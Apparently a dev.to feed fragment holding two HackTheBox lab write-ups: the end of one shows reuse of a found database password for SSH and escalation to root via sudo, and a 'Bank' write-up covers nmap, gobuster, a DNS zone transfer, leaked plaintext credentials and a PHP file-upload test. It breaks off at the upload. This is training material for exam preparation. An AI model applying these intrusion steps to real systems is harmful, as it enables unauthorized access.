&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5pyqn5yz9tcpjn7g4p1m.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5pyqn5yz9tcpjn7g4p1m.PNG" alt="Alt Text" width="800" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Select Com&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fydjfbub7bu9e0r0x9bjv.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fydjfbub7bu9e0r0x9bjv.PNG" alt="Alt Text" width="342" height="186"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Select myfirstplugin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzu385kz4l3x2px0mtnqf.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzu385kz4l3x2px0mtnqf.PNG" alt="Alt Text" width="398" height="175"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we can read the file. We can see that there is a &lt;strong&gt;Root&lt;/strong&gt; user than a &lt;strong&gt;sqlPass&lt;/strong&gt; of &lt;strong&gt;8YsqfCTnvxAUeduzjNSXe22&lt;/strong&gt;. Copy that into a new file on your Kali machine for future use.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F45l76fr56vo0g2q8u82c.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F45l76fr56vo0g2q8u82c.PNG" alt="Alt Text" width="757" height="629"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another way to do this is the following:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpgj0a7z2enr6fau04edc.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpgj0a7z2enr6fau04edc.PNG" alt="Alt Text" width="800" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fppi3c3v3xdfngkim2cjc.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fppi3c3v3xdfngkim2cjc.PNG" alt="Alt Text" width="800" height="237"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going to see if I can use these creds to login.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1z3aynddzgo9thwgxh5m.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1z3aynddzgo9thwgxh5m.PNG" alt="Alt Text" width="800" height="249"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Success! After some more digging around I see another user named &lt;strong&gt;Notch&lt;/strong&gt; and another &lt;strong&gt;User_Pass&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbg0wxj2912r5viwykbl7.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbg0wxj2912r5viwykbl7.PNG" alt="Alt Text" width="800" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I messed around here for quite a bit before getting in. But I decided to see if I could use those creds above to login via the &lt;strong&gt;SSH&lt;/strong&gt; server.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ssh &lt;a href="mailto:notch@10.10.10.37"&gt;notch@10.10.10.37&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;8YsqfCTnvxAUeduzjNSXe22&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F09048qtpbt58fljdmnh1.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F09048qtpbt58fljdmnh1.PNG" alt="Alt Text" width="800" height="341"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Success! I was able to login and get access!&lt;/p&gt;

&lt;p&gt;Now let's run the following to see what we can do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;sudo -l&lt;/strong&gt;&lt;br&gt;
welp this is pretty easy&lt;br&gt;
&lt;strong&gt;sudo su&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feiqj85ft11oqql24vs6q.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feiqj85ft11oqql24vs6q.PNG" alt="Alt Text" width="800" height="121"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpzmfd2v1jyw4ac0joslm.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpzmfd2v1jyw4ac0joslm.PNG" alt="Alt Text" width="729" height="124"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>wordpress</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Bank- Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Tue, 10 Aug 2021 17:14:23 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-bank-without-metasploit-oscp-prep-2afg</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-bank-without-metasploit-oscp-prep-2afg</guid>
      <description>&lt;p&gt;Hello all,&lt;/p&gt;

&lt;p&gt;Some quick updates, I decided to schedule my OSCP for early October to give me enough time to run through some more box's then move over to Proving Ground on OffSec's platform.&lt;/p&gt;

&lt;p&gt;Now let's jump right in!!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -T4 -oN nmap.txt 10.10.10.29&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sC = Default Scripts&lt;/li&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmmstpgf3jczn4vc4iz5q.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmmstpgf3jczn4vc4iz5q.PNG" alt="Alt Text" width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Ports Open:
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;22 SSH OpenSSH 6.6.1p1&lt;/li&gt;
&lt;li&gt;53 ISC Bind 9.0.5-3ubuntu0&lt;/li&gt;
&lt;li&gt;80 HTTP Apache HTTPD 2.4.7&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's run a quick Vulnerability Scan to see what we can find.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap --script vuln -T4 -oN vuln.txt 10.10.10.29&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyd4ufb06e4h21dom0a63.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyd4ufb06e4h21dom0a63.PNG" alt="Alt Text" width="800" height="482"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I see a DoS here but that doesn't really help us because we want to get an RCE on the box :-).&lt;/p&gt;

&lt;p&gt;I am going to head over to the site to see what I find there...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxo7y14yjvk5s8h9c0xgl.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxo7y14yjvk5s8h9c0xgl.PNG" alt="Alt Text" width="800" height="647"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some thing I did while on the site was to check out the source and some of the directories listed but nothing too special stuck out for me.&lt;/p&gt;

&lt;p&gt;I am going to run a &lt;strong&gt;Dirb&lt;/strong&gt; to see if there are any hidden directories here.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ypcwe2jixez3egcf4c4.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ypcwe2jixez3egcf4c4.PNG" alt="Alt Text" width="635" height="519"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnmk4pl1ahbkpds34niwr.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnmk4pl1ahbkpds34niwr.PNG" alt="Alt Text" width="751" height="225"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So both of these sites bring up a Forbidden screen. &lt;/p&gt;

&lt;p&gt;Let's now try using &lt;strong&gt;Gobuster&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;gobuster dir -e -u &lt;a href="http://10.10.10.29" rel="noopener noreferrer"&gt;http://10.10.10.29&lt;/a&gt; -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnksuxwhf6gmj0h1enn6a.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnksuxwhf6gmj0h1enn6a.PNG" alt="Alt Text" width="800" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Being that port &lt;strong&gt;53&lt;/strong&gt; is open I am going to checkout the DNS record.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nslookup&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;127.0.0.1&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;10.10.10.29&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;bank.htb&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you noticed when doing a look at the IP it can't locate but when looking at &lt;strong&gt;bank.htb&lt;/strong&gt; it comes up with the addresses.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dig axfr &lt;a class="mentioned-user" href="https://dev.to/10"&gt;@10&lt;/a&gt;.10.10.29&lt;/strong&gt;&lt;br&gt;
As we can see not too many hits...&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;dig axfr bank.htb &lt;a class="mentioned-user" href="https://dev.to/10"&gt;@10&lt;/a&gt;.10.10.29&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnw7h6tvnp4ab0rtb0l1a.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnw7h6tvnp4ab0rtb0l1a.PNG" alt="Alt Text" width="800" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going to edit the &lt;strong&gt;/etc/hosts/&lt;/strong&gt; and the &lt;strong&gt;/etc/resolv.conf&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxqrga07z470jw34c7di3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxqrga07z470jw34c7di3.PNG" alt="Alt Text" width="753" height="94"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;10.10.10.29 bank.htb&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2iq5apieom2l93flnn2z.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2iq5apieom2l93flnn2z.PNG" alt="Alt Text" width="800" height="241"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nano /etc/resolv.conf&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;nameserver 10.10.10.29&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6f8ucba9cwernt1hmlib.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6f8ucba9cwernt1hmlib.PNG" alt="Alt Text" width="800" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's try and re-run &lt;strong&gt;GoBuster&lt;/strong&gt;!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;gobuster dir -e -u &lt;a href="http://10.10.10.29" rel="noopener noreferrer"&gt;http://10.10.10.29&lt;/a&gt; -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4oopn98db4wq7dvo6cps.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4oopn98db4wq7dvo6cps.PNG" alt="Alt Text" width="800" height="366"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After making those quick addition's we get a lot more hits. So let's go check them out. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm9ioubik9u3ublxolc2q.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm9ioubik9u3ublxolc2q.PNG" alt="Alt Text" width="800" height="498"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Clicking on the &lt;strong&gt;Parent Directory&lt;/strong&gt; brings up a login screen for an Email and Password. I tried some dummy emails and common enumeration but it didn't work.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F43zrc6sidxomraq31v29.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F43zrc6sidxomraq31v29.PNG" alt="Alt Text" width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now I am going to checkout the &lt;strong&gt;Balance-Transfer&lt;/strong&gt; directory, to see if there is anything interesting there.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6o856m6yb64bxivz2dz2.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6o856m6yb64bxivz2dz2.PNG" alt="Alt Text" width="800" height="419"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Each of these look like specific accounts for users with their hashed Email/Passwords with their account balances. If you go down the line, each of the links provides a different account.&lt;/p&gt;

&lt;p&gt;One thing we will do is sort by size to see if there is any differences.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6uvibv9rmel4bgerlzgo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6uvibv9rmel4bgerlzgo.PNG" alt="Alt Text" width="800" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After doing so we see there is a &lt;strong&gt;257&lt;/strong&gt; size .acc file here. Open it and let's take a look.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo0kqzay7onfxxj8yuzei.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo0kqzay7onfxxj8yuzei.PNG" alt="Alt Text" width="800" height="483"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we can see there is un-hashed account information such as:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Email = &lt;strong&gt;&lt;a href="mailto:chris@bank.htb"&gt;chris@bank.htb&lt;/a&gt;&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Password = &lt;strong&gt;!##HTBB4nkP4ssw0rd!##&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now head back over to the login screen again and put in the creds we just found.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gvhamczu7j3u6e58ev7.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gvhamczu7j3u6e58ev7.PNG" alt="Alt Text" width="596" height="557"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr1ieezhdcx6uymyaanb6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr1ieezhdcx6uymyaanb6.PNG" alt="Alt Text" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click the &lt;strong&gt;Support&lt;/strong&gt; link and it will bring up a way for the current user to submit Files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc4x8s8380sni7xmfef3j.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc4x8s8380sni7xmfef3j.PNG" alt="Alt Text" width="800" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On my &lt;strong&gt;Kali&lt;/strong&gt; machine I create a test file to see if I can upload a file. &lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;touch test.php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now on your console try and upload it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flkdgt850s7gdni7qfejy.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flkdgt850s7gdni7qfejy.PNG" alt="Alt Text" width="460" height="587"&gt;&lt;/a&gt;&lt;/p&gt;

